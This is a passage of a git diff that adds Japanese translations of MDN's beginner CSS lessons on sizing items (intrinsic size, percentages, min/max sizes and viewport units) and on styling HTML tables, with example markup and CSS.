Learn/CSS/Building_blocks/Sizing_items_in_CSS +tags: + - Beginner + - CSS + - Intrinsic size + - Learn + - max size + - min size + - percentage + - sizing + - viewport units +translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</div> + +<p>これまでのさまざまなレッスンで、CSS を使用してウェブページ上のアイテムのサイズを調整するいくつかの方法に出会いました。デザイン作業をしていくうえで、それぞれの手法がどれほど大事かを理解することが重要です。このレッスンでは、CSS によって要素のサイズを設定する方法をまとめ、サイジングに役立ついくつかの用語を定義します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS によるさまざまなサイズ設定の方法を理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="The_natural_or_intrinsic_size_of_things" name="The_natural_or_intrinsic_size_of_things">要素固有のサイズ</h2> + +<p>HTML要素には自然なサイズがあり、CSSの影響を受ける前に設定されます。簡単な例は画像です。画像には、ページに埋め込む画像ファイルで定義された幅と高さがあります。このサイズは<strong>固有のサイズ</strong>と呼ばれ、画像自体に由来します。</p> + +<p><code><img></code> タグまたはCSSの属性を使用してページに画像を配置し、その高さと幅を変更しない場合、その固有のサイズを使用して表示されます。以下の例では、ファイルの範囲を確認できるように画像に境界線を付けています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}</p> + +<p>ただし、空の {{htmlelement("div")}} には独自のサイズはありません。コンテンツのないHTMLに {{htmlelement("div")}} を追加し、画像で行ったように境界線を付けると、ページに線が表示されます。これは、要素の折りたたまれた境界線です。開いたままにするコンテンツはありません。以下の例では、その境界線はコンテナの幅まで伸びています。これはブロックレベルの要素であるため、慣れ親しんだ動作になるはずです。コンテンツがないため、高さ（またはブロックディメンションのサイズ）はありません。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}</p> + +<p>上記の例では、空の要素内にテキストを追加してみてください。要素の高さがコンテンツによって定義されているため、境界線にはそのテキストが含まれています。したがって、<code><div></code> ブロックディメンションにおけるこのサイズは、コンテンツのサイズに由来します。繰り返しますが、これは要素の固有のサイズです。そのサイズはコンテンツによって定義されます。</p> + +<h2 id="Setting_a_specific_size" name="Setting_a_specific_size">サイズの指定</h2> + +<p>もちろん、デザインの要素に特定のサイズを与えることもできます。要素にサイズが指定されている場合（およびそのコンテンツがそのサイズに収まる必要がある場合）、それを<strong>外部サイズ</strong>と呼びます。上記の例の <code><div></code> を見てみます。特定の {{cssxref("width")}} と {{cssxref("height")}} の値を指定できるため、そ <span class="tlid-translation translation" lang="ja"><span title="">コンテンツがどのように配置されても、そのサイズになります。</span> </span> <a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">前のオーバーフローに関するレッスンで</a>見たように、要素の中に収まるスペースよりも多くのコンテンツがある場合、高さを設定するとコンテンツがオーバーフローする可能性があります。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}</p> + +<p>このオーバーフローの問題のため、要素の高さを長さまたはパーセンテージで固定することは、Web上で非常に注意深く行う必要があります。</p> + +<h3 id="Using_percentages" name="Using_percentages">比率指定</h3> + +<p>多くの点で、パーセンテージは長さの単位のように機能<a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units#Percentages">し、値と単位に関するレッスンで説明したように、</a>多くの場合、長さと同じ意味で使用できます。パーセンテージを使用している場合、あなたはそれが<em>何に対する</em>比率であるかを認識する必要があります。別のコンテナー内のボックスの場合、子ボックスに幅のパーセンテージを与えると、親コンテナーの幅のパーセンテージになります。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}</p> + +<p>これは、パーセンテージがそれを包含するブロックのサイズに対して解決されるためです。パーセンテージを適用しない <code><div></code> 場合、これはブロックレベルの要素であるため、使用可能なスペースの100％を占めます。パーセンテージの幅を指定すると、これは通常埋められるスペースに対するの比率になります。</p> + +<h3 id="Percentage_margins_and_padding" name="Percentage_margins_and_padding">マージンとパディングの比率</h3> + +<p>パーセンテージとして <code>margins</code> と <code>padding</code> を設定すると、奇妙な動作に気付く場合があります。以下の例では、ボックスがあります。内部ボックスに10％の {{cssxref("margin")}} と10％の {{cssxref("padding")}} を与えました。ボックスの上下の padding と margin は、左右の margin と同じサイズです。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}</p> + +<p>例えば、上下のマージンのパーセンテージは要素の高さのパーセンテージであり、左右のマージンのパーセンテージは要素の幅のパーセンテージであると予想するかもしれません。しかし、そうではありません。</p> + +<p>マージンとパディングをパーセンテージで設定する場合、値は<strong>インラインサイズ</strong>から計算されます。したがって横書きの言語で作業するときの幅になります。この例では、マージンとパディングはすべて幅の10％です。つまり、ボックス全体で同じサイズのマージンとパディングを使用できます。この方法でパーセンテージを使用する場合、これは覚えておかなければならない事実です。</p> + +<h2 id="min-_and_max-_sizes" name="min-_and_max-_sizes">最小サイズ、最大サイズ</h2> + +<p>固定サイズを与えることに加えて、要素に最小サイズまたは最大サイズを与えるようCSSに要求できます。さまざまな量のコンテンツを含む可能性のあるボックスがあり、常に特定の高さ<em>以上</em>にしたい場合は、そのボックスに {{cssxref("min-height")}} プロパティを設定できます。ボックスは常にこの高さ以上になりますが、ボックスの最小高さでのスペースよりも多くのコンテンツがある場合は、ボックスの高さが高くなります。</p> + +<p>以下の例では、2つのボックスがあり、どちらも150ピクセルの高さが定義されています。左側のボックスの高さは150ピクセルです。右側のボックスには、より多くのスペースを必要とするコンテンツがあるため、150ピクセルよりも高くなっています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}</p> + +<p>これは、オーバーフローを回避しながら、可変量のコンテンツを処理するのに非常に役立ちます。</p> + +<p>{{cssxref("max-width")}} の一般的な用途は、固有の幅で表示するための十分なスペースがない場合に画像を縮小し、その幅よりも大きくならないようにすることです。</p> + +<p>例として、画像に <code>width: 100%</code> を設定する場合、その固有の幅がコンテナーよりも小さいと、画像は強制的に引き伸ばされて大きくなり、ピクセル化されたように見えます。固有の幅がコンテナーよりも大きい場合、オーバーフローします。どちらの場合も、あなたが起こりたいことではないでしょう。</p> + +<p>代わりに <code>max-width: 100%</code> を使用すると、画像は本来のサイズよりも小さくなりますが、サイズの100％で止まります。</p> + +<p>以下の例では、同じ画像を2回使用しています。最初の画像には <code>width: 100%</code> が指定されており、それよりも大きいコンテナー内にあるため、コンテナーの幅まで拡大されます。2番目の画像には <code>max-width: 100%</code> が設定されているため、コンテナを埋めるために引き伸ばされることはありません。3番目のボックスにも同じ画像が含まれており、 <code>max-width: 100%</code> も設定されています。この場合、ボックスに収まるように縮小された様子を確認できます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}</p> + +<p>この手法は、画像を<em>レスポンシブ</em>にするために使用されます。そのため、より小さなデバイスで表示すると、適切に縮小されます。ただし、この手法を使用して非常に大きな画像を読み込んでから、ブラウザで縮小するべきではありません。画像は、デザインに表示される最大サイズに必要なサイズよりも大きくならないように適切なサイズにするべきです。大きすぎる画像をダウンロードすると、サイトが遅くなり、ユーザーが従量制の接続を使用している場合は、より多くの費用がかかる可能性があります。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>：<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像技術の</a>詳細をご覧ください。</p> +</div> + +<h2 id="Viewport_units" name="Viewport_units">ビューポートに関する単位</h2> + +<p>ビューポート（サイトの表示に使用しているブラウザーでのページの表示領域）にもサイズがあります。CSSには、ビューポートのサイズに関連する単位（ビューポートの幅 <code>vw</code> とビューポートの高さ <code>vh</code> ）があります。これらの単位を使用すると、ユーザーのビューポートを基準にしてサイズを変更できます。</p> + +<p><code>1vh</code> はビューポートの高さの1％に等しく、<code>1vw</code> はビューポートの幅の1％に等しい。これらの単位を使用して、ボックスだけでなくテキストのサイズも変更できます。以下の例では、20vh と 20vw のサイズのボックスがあります。ボックスには、 {{cssxref("font-size")}} が 10vh の文字 <code>A</code> が含まれています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}</p> + +<p><strong><code>vh</code> との <code>vw</code> 値を変更すると、ボックスまたはフォントのサイズが変更されます。ビューポートに相対的なサイズであるため、ビューポートのサイズを変更しても、サイズが変更されます。ビューポートのサイズを変更したときにサンプルの変更を確認するには、サイズを変更できる新しいブラウザーウィンドウにサンプルを読み込む必要があります（上記の例を含む埋め込み <code><iframe></code> がビューポートであるため）。<a href="https://mdn.github.io/css-examples/learn/sizing/vw-vh.html">サンプルを開き</a>、ブラウザウィンドウのサイズを変更して、ボックスとテキストのサイズがどうなるかを観察します。</strong></p> + +<p>ビューポートに応じてサイズを調整することは、デザインに役立ちます。例えば、全ページのヒーローセクション(hero section)を他のコンテンツの前に表示させたい場合、ページのその部分を100vhの高さにすると、残りのコンテンツはビューポートの下に押しやられてしまい、ドキュメントがスクロールされたときにのみ表示されます。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>このレッスンでは、Web上のサイズを決定するときに遭遇する可能性があるいくつかの重要な問題の概要を説明しました。<a href="/ja/docs/Learn/CSS/CSS_layout">CSSレイアウト</a>に移ると、さまざまなレイアウトメソッドを習得する際にサイズ設定が非常に重要になるため、先に進む前に、ここで概念を理解しておくことをお勧めします。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/styling_tables/index.html b/files/ja/learn/css/building_blocks/styling_tables/index.html new file mode 100644 index 0000000000..9d3988ddf7 --- /dev/null +++ b/files/ja/learn/css/building_blocks/styling_tables/index.html @@ -0,0 +1,316 @@ +--- +title: 表のスタイリング +slug: Learn/CSS/Building_blocks/Styling_tables +tags: + - Article + - Beginner + - CSS + - CodingScripting + - Guide + - Styling + - Tables +translation_of: Learn/CSS/Building_blocks/Styling_tables +--- +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</p> + +<div></div> + +<p class="summary"><span class="seoSummary">HTML 表を装飾することは、世界で最も魅力的な仕事ではありませんが、時にはそれをしなければならないこともあります。 この記事では、これまでに説明した機能のいくつかとともに、HTML 表を見栄え良くするためのガイドを提供します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）と <a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 表</a> および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>HTML 表を効果的に装飾する方法を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="A_typical_HTML_table" name="A_typical_HTML_table">典型的な HTML 表</h2> + +<p>典型的な HTML 表を見ることから始めましょう。 まあ、典型的な言い方ですが、ほとんどの HTML 表の例は、靴、天気、あるいは従業員に関するものです。 私達はイギリスの有名なパンクバンドについてそれを作ることで、もっと面白くすることにしました。 マークアップはこんな感じです。</p> + +<pre class="brush: html notranslate"><table> + <caption>A summary of the UK's most famous punk bands</caption> + <thead> + <tr> + <th scope="col">Band</th> + <th scope="col">Year formed</th> + <th scope="col">No. of Albums</th> + <th scope="col">Most famous song</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">Buzzcocks</th> + <td>1976</td> + <td>9</td> + <td>Ever fallen in love (with someone you shouldn't've)</td> + </tr> + <tr> + <th scope="row">The Clash</th> + <td>1976</td> + <td>6</td> + <td>London Calling</td> + </tr> + + ... 簡潔にするためにいくつかの行を削除 + + <tr> + <th scope="row">The Stranglers</th> + <td>1974</td> + <td>17</td> + <td>No More Heroes</td> + </tr> + </tbody> + <tfoot> + <tr> + <th scope="row" colspan="2">Total albums</th> + <td colspan="2">77</td> + </tr> + </tfoot> +</table></pre> + +<p>{{htmlattrxref("scope","th")}}、{{htmlelement("caption")}}、{{htmlelement("thead")}}、{{htmlelement("tbody")}} などの機能のおかげで、表はうまくマークアップされ、簡単に装飾を整えられ、アクセスしやすくなりました。 残念なことに、画面に表示したときは見栄えがよくありません（<a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html">punk-bands-unstyled.html</a> でライブを見る）。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13064/table-unstyled.png" style="display: block; margin: 0 auto;"></p> + +<p>それは窮屈に見え、読みにくく、そして退屈です。 これを修正するために CSS を使用する必要があります。</p> + +<h2 id="Active_learning_Styling_our_table" name="Active_learning_Styling_our_table">テーブルのスタイリング</h2> + +<p>テーブルの例を一緒にスタイリングしてみましょう。</p> + +<ol> + <li>まず始めに、<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html">サンプルマークアップ</a>のローカルコピーを作成し、<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png">noise</a> と <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg">leopardskin</a> の両方の画像をダウンロードして、3つのファイルをローカルコンピュータのどこかの作業ディレクトリに配置します。</li> + <li>次に、<code>style.css</code> という名前の新しいファイルを作成し、他のファイルと同じディレクトリに保存します。</li> + <li>{{htmlelement("head")}} の内側に次の HTML 行を配置して、CSS を HTML にリンクします。 + <pre class="brush: html notranslate"><link href="style.css" rel="stylesheet" type="text/css"></pre> + </li> +</ol> + +<h3 id="Spacing_and_layout" name="Spacing_and_layout">スペーシングとレイアウト</h3> + +<p>最初にすべきことは、スペーシングやレイアウトを整理することです — デフォルトの表の装飾はとても窮屈です！ これを行うには、<code>style.css</code> ファイルに次の CSS を追加します。</p> + +<pre class="brush: css notranslate">/* spacing */ + +table { + table-layout: fixed; + width: 100%; + border-collapse: collapse; + border: 3px solid purple; +} + +thead th:nth-child(1) { + width: 30%; +} + +thead th:nth-child(2) { + width: 20%; +} + +thead th:nth-child(3) { + width: 15%; +} + +thead th:nth-child(4) { + width: 35%; +} + +th, td { + padding: 20px; +}</pre> + +<p>注意すべき最も重要な部分は次のとおりです。</p> + +<ul> + <li>{{cssxref("table-layout")}} の値を <code>fixed</code> に設定すると、デフォルトで表の動作が多少予測しやすくなるため、通常は表に設定することをお勧めします。 通常、表の列は、含まれるコンテンツの量に応じてサイズが変更される傾向があり、これは奇妙な結果を生むことがあります。 <code>table-layout: fixed</code> を使うと、見出しの幅に応じてカラムのサイズを調整し、その内容を適切に処理することができます。そのために、<code>thead th:nth-child(<em>n</em>)</code> ({{cssxref(":nth-child")}}) セレクタ（<code><thead></code> 要素の中の <code><th></code> 要素で、シーケンス中の <em>n</em> 番目の子を選択する）で4つの異なる見出しを選択し、それらに設定されたパーセンテージの幅を与えています。列全体の幅はその見出しの幅に従うので、表の列のサイズを変更するのに適した方法です。 Chris Coyier は、このテクニックを <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a> でさらに詳しく説明しています。<br> + <br> + これは 100% の {{cssxref("width")}} と結合されています。 つまり、表は入れられているコンテナをすべて満たし、とてもレスポンシブになります（しかし、狭い画面幅で見栄えを良くするにはまだ作業が必要です）。</li> + <li>{{cssxref("border-collapse")}} の <code>collapse</code> の値は、あらゆる表の装飾の取り組みにおける標準的なベストプラクティスです。 デフォルトでは、下の画像に示すように、表要素に境界線を設定すると、境界線の間に間隔が空くことになります。<img alt="" src="https://mdn.mozillademos.org/files/13068/no-border-collapse.png" style="display: block; margin: 0 auto;"> これはあまり見栄えがよくありません（それはあなたが望む外観かもしれませんが、誰が知っていますか？）。 <code>border-collapse: collapse;</code> を設定すると、境界線は1つに折りたたまれ、次のようにずっと良く見えます。<img alt="" src="https://mdn.mozillademos.org/files/13066/border-collapse.png" style="display: block; margin: 0 auto;"></li> + <li>表全体を囲むように {{cssxref("border")}} を付けています。 これは、後で表のヘッダーとフッターに境界線を付けるために必要です — 表の外側全体に境界線がなく、ギャップで終わる場合、それは本当に奇妙でまとまりのないものに見えます。</li> + <li>{{htmlelement("th")}} 要素と {{htmlelement("td")}} 要素に {{cssxref("padding")}} を設定しました。 これにより、データ項目に余裕を持たせることができ、表がもっと見やすくなります。</li> +</ul> + +<p>この時点で、表はすでにずっと良く見えています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13070/table-with-spacing.png" style="display: block; margin: 0 auto;"></p> + +<h3 id="Some_simple_typography" name="Some_simple_typography">簡単なタイポグラフィ</h3> + +<p>それでは、テキストを少し整理しましょう。</p> + +<p>まず第一に、パンクバンドについての表にふさわしいフォントを <a href="https://www.google.com/fonts">Google Fonts</a> で見つけてあります。 望むならそこに行って、別なものを探すことができます。私たちが提供する {{htmlelement("link")}} 要素とカスタムの {{cssxref("font-family")}} 宣言を Google Fonts が与えるものと置き換えるだけです。</p> + +<p>まず、HTML <code>head</code> の既存の {{htmlelement("link")}} 要素のすぐ上に、次の <code><link></code> 要素を追加します。</p> + +<pre class="brush: html notranslate"><link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'></pre> + +<p>そして、<code>style.css</code> ファイルの以前の追加の下に、次の CSS を追加します。</p> + +<pre class="brush: css notranslate">/* typography */ + +html { + font-family: 'helvetica neue', helvetica, arial, sans-serif; +} + +thead th, tfoot th { + font-family: 'Rock Salt', cursive; +} + +th { + letter-spacing: 2px; +} + +td { + letter-spacing: 1px; +} + +tbody td { + text-align: center; +} + +tfoot th { + text-align: right; +}</pre> + +<p>ここに表に固有のものは何もありません。 読みやすくするために、次のようにフォントの装飾を調整しています。</p> + +<ul> + <li>グローバルなサンセリフのフォントスタックを設定しました。 これは純粋に装飾的な選択です。 また、素敵に汚れた、パンクな外観のために {{htmlelement("thead")}} 要素内の見出しと {{htmlelement("tfoot")}} 要素内の見出しにもカスタムフォントを設定しました。</li> + <li>読みやすくするために、見出しとセルに {{cssxref("letter-spacing")}} を設定しています。 繰り返しますが、主に装飾的な選択です。</li> + <li>{{htmlelement("tbody")}} 内の表セル内のテキストを見出しと揃えるように中央揃えにしました。 デフォルトでは、セルは {{cssxref("text-align")}} に <code>left</code> の値が与えられ、見出しは <code>center</code> の値が与えられますが、一般的には、両方の揃えを同じに設定する方が見栄えがよくなります。 見出しフォントのデフォルトの太字は、見た目を区別するのに十分です。</li> + <li>{{htmlelement("tfoot")}} 内の見出しは、データと視覚的に関連付けやすくなるように右揃えしています。</li> +</ul> + +<p>結果は少しきれいに見えます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13072/table-with-typography.png" style="display: block; margin: 0 auto;"></p> + +<h3 id="Graphics_and_colors" name="Graphics_and_colors">グラフィックスと色</h3> + +<p>今度はグラフィックと色です！ 表はパンクとその態度でいっぱいですので、それに合わせていくつかの明るい印象的な装飾を与える必要があります。 心配しないで、表をそんなに騒々しくする必要はありません — もっと微妙で上品な何かを選ぶことができます。</p> + +<p>次の CSS を <code>style.css</code> ファイルの一番下に再び追加してください。</p> + +<pre class="brush: css notranslate">thead, tfoot { + background: url(leopardskin.jpg); + color: white; + text-shadow: 1px 1px 1px black; +} + +thead th, tfoot th, tfoot td { + background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); + border: 3px solid purple; +} +</pre> + +<p>繰り返しますが、ここでは表に固有のものは何もありませんが、いくつか注意することは価値があります。</p> + +<p>{{htmlelement("thead")}} と {{htmlelement("tfoot")}} に {{cssxref("background-image")}} を追加し、ヘッダー内とフッター内のすべてのテキストの {{cssxref("color")}} を白に変更して（そして {{cssxref("text-shadow")}} を指定して）読みやすくしています。 読みやすいように、テキストが背景と比べてコントラストがあるようにしてください。</p> + +<p>また、ヘッダー内とフッター内の {{htmlelement("th")}} 要素と {{htmlelement("td")}} 要素に線形グラデーションを追加して、テクスチャをきれいにし、それらの要素に明るい紫色の境界線を付けました。 複数のネストした要素を使用できるようにしておくと、スタイルを重ね合わせることができます。 はい、複数の背景画像を使用して {{htmlelement("thead")}} 要素と {{htmlelement("tfoot")}} 要素に背景画像と線形グラデーションの両方を配置することもできましたが、複数の背景画像や線形グラデーションをサポートしない古いブラウザーの利点のために別々に行うことにしました。</p> + +<h4 id="Zebra_striping" name="Zebra_striping">ゼブラストライピング</h4> + +<p><strong>ゼブラストライプ</strong>（zebra stripes）を実装する方法を示すために別のセクションを捧げたいと思います — 表のさまざまなデータ行を解析して読みやすくするために、行の色を交互に並べます。 <code>style.css</code> ファイルの一番下に次の CSS を追加します。</p> + +<pre class="brush: css notranslate">tbody tr:nth-child(odd) { + background-color: #ff33cc; +} + +tbody tr:nth-child(even) { + background-color: #e495e4; +} + +tbody tr { + background-image: url(noise.png); +} + +table { + background-color: #ff33cc; +}</pre> + +<ul> + <li>先ほど、{{cssxref(":nth-child")}} セレクタが特定の子要素を選択するために使われていたのを見ました。 式をパラメータとして指定することもできるので、一連の要素を選択します。 式 <code>2n-1</code> はすべての奇数番号の子（1、3、5 など）を選択し、式 <code>2n</code> はすべての偶数番号の子（2、4、6 など）を選択します。 上のコードでは <code>odd</code> と <code>even</code> のキーワードを使っていますが、それは前述の式とまったく同じです。 この場合、奇数行と偶数行に異なる（けばけばしい）色を付けます。</li> + <li>また、すべての本体行に繰り返しの背景タイルを追加しました。 これは、テクスチャを提供するためのわずかなノイズです（視覚的な歪みが少しある半透明の <code>.png</code>）。</li> + <li>最後に、<code>:nth-child</code> セレクタをサポートしていないブラウザーでも本体行に背景があるように、表全体の背景色を単色にしました。</li> +</ul> + +<p>この色の爆発により、以下のような見た目になります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13074/table-with-color.png" style="display: block; margin: 0 auto;"></p> + +<p>さて、これはあなたの好みではなく、少々限度を超えているかもしれませんが、ここで主張しようとしているのは、表が退屈で学術的である必要はないということです。</p> + +<h3 id="Styling_the_caption" name="Styling_the_caption">キャプションの装飾</h3> + +<p>表でやるべきことがもう一つあります — キャプションの装飾です。 これを行うには、<code>style.css</code> ファイルの一番下に次のコードを追加します。</p> + +<pre class="brush: css notranslate">caption { + font-family: 'Rock Salt', cursive; + padding: 20px; + font-style: italic; + caption-side: bottom; + color: #666; + text-align: right; + letter-spacing: 1px; +}</pre> + +<p>{{cssxref("caption-side")}} プロパティに、<code>bottom</code> の値が与えられている以外に、ここで注目に値するものは何もありません。 これにより、キャプションは表の下に配置され、他の宣言と共にこの最終的な外観が得られます（<a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a> でライブで見る）。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13076/table-with-caption.png" style="display: block; height: 357px; margin: 0px auto; width: 723px;"></p> + +<h2 id="Table_styling_quick_tips" name="Table_styling_quick_tips">表の装飾のちょっとした助言</h2> + +<p>先に進む前に、上に示した最も有用なポイントの簡単なリストをお送りします。</p> + +<ul> + <li>表のマークアップをできる限り単純にし、物事を柔軟に保ちます。 例えば、パーセントを使用することによって、デザインはよりレスポンシブになります。</li> + <li>{{cssxref("table-layout")}}<code>: fixed</code> を使用すると、見出し（{{htmlelement("th")}}）の {{cssxref("width")}} を設定して列幅を簡単に設定でき、より予測可能な表レイアウトを作成できます。</li> + <li>{{cssxref("border-collapse")}}<code>: collapse</code> を使用して、表要素の境界線を互いに折りたたみ、見た目をよりきれいにして制御しやすくします。</li> + <li>{{htmlelement("thead")}}、{{htmlelement("tbody")}}、{{htmlelement("tfoot")}} を使用して表を論理的なまとまりに分割し、CSSを適用するための特別な場所を提供することで、必要に応じてスタイルを重ねることが容易になります。</li> + <li>行を読みやすくするために、ゼブラストライピングを使用します。</li> + <li>{{cssxref("text-align")}} を使用して、{{htmlelement("th")}} と {{htmlelement("td")}} のテキストを揃えることで、きれいにして見やすくします。</li> +</ul> + +<h2 id="あなたのスキルをテストしてください！">あなたのスキルをテストしてください！</h2> + +<p>この記事では多くの情報を取り上げましたが、最も重要な情報を覚えていますか？先に進む前に、この情報を保持しているかどうかを確認するためのテストをいくつか見つけることができます。<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Tables_tasks">Test your skills: tables</a> を参照してください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>テーブルのスタイリングも終わりに近づいてきたので、他にも何か時間を割くものが必要になってきました。次の記事では、CSS をデバッグする方法を探ります。レイアウトが思うように見えない、プロパティが適用されないなどの問題を解決する方法です。これには、ブラウザの DevTools を使用して問題を解決する方法についての情報も含まれています。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/the_box_model/index.html b/files/ja/learn/css/building_blocks/the_box_model/index.html new file mode 100644 index 0000000000..aca49d9dd1 --- /dev/null +++ b/files/ja/learn/css/building_blocks/the_box_model/index.html @@ -0,0 +1,343 @@ +--- +title: ボックスモデル +slug: 